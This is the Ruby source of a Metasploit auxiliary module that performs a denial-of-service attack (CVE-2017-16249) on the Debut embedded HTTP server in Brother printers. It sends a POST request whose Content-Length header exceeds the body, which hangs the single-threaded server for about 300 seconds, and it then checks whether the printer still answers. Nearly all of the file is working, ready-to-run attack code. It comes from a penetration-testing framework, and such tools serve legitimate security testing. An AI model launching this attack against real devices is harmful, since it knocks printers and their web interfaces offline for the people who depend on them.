Path: blob/master/modules/auxiliary/dos/http/brother_debut_dos.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Brother Debut http Denial Of Service',14'Description' => %q{15The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial16of Service (DoS) condition via a crafted HTTP request. The printer will be17unresponsive from HTTP and printing requests for ~300 seconds. After which, the18printer will start responding again.19},20'License' => MSF_LICENSE,21'Author' => [22'z00n <[email protected]>', # vulnerability disclosure23'h00die' # metasploit module24],25'References' => [26[ 'CVE', '2017-16249' ],27[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730']28],29'DisclosureDate' => '2017-11-02',30'Notes' => {31'Stability' => [CRASH_SERVICE_DOWN],32'SideEffects' => [],33'Reliability' => []34}35)36)37end3839def is_alive?40res = send_request_raw({41'method' => 'GET',42'uri' => '/'43}, 10)4445return !res.nil?46rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE47print_error("Couldn't connect to #{peer}")48end4950def dos51# The web server is single threaded, and when the content length is longer than the data, it will continue to wait52# for the rest of the data, which never comes, and times out after ~300 seconds.53data = Rex::Text.rand_text_alphanumeric(40)54send_request_cgi({55'method' => 'POST',56'uri' => '/',57'data' => data, # 'asdasdasdasdasdasdasd',58'headers' => {59# These are kept here since they were in the original exploit, however they are not required60# 'Host' => 'asdasdasd',61# 'User-Agent' => 'asdasdasd',62# 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',63# 'Accept-Language' => 'en-US,en;q=0.5',64# 'Referer' => 'asdasdasdasd',65# 'Connection' => 'close',66# 'Upgrade-Insecure-Requests' => 1,67# 'Content-Type' => 'application/x-www-form-urlencoded',68'Content-Length' => data.length + rand(10) + 10 # 4269}70})71rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE72print_error("Couldn't connect to #{peer}")73end7475def run76time = Time.new77print_status("Sending malformed POST request at #{time.strftime('%Y-%m-%d %H:%M:%S')}.")78dos7980# Check to see if it worked or not81if is_alive?82print_error("#{peer} - Server is still alive.")83else84print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime('%Y-%m-%d %H:%M:%S')}")85end86end87end888990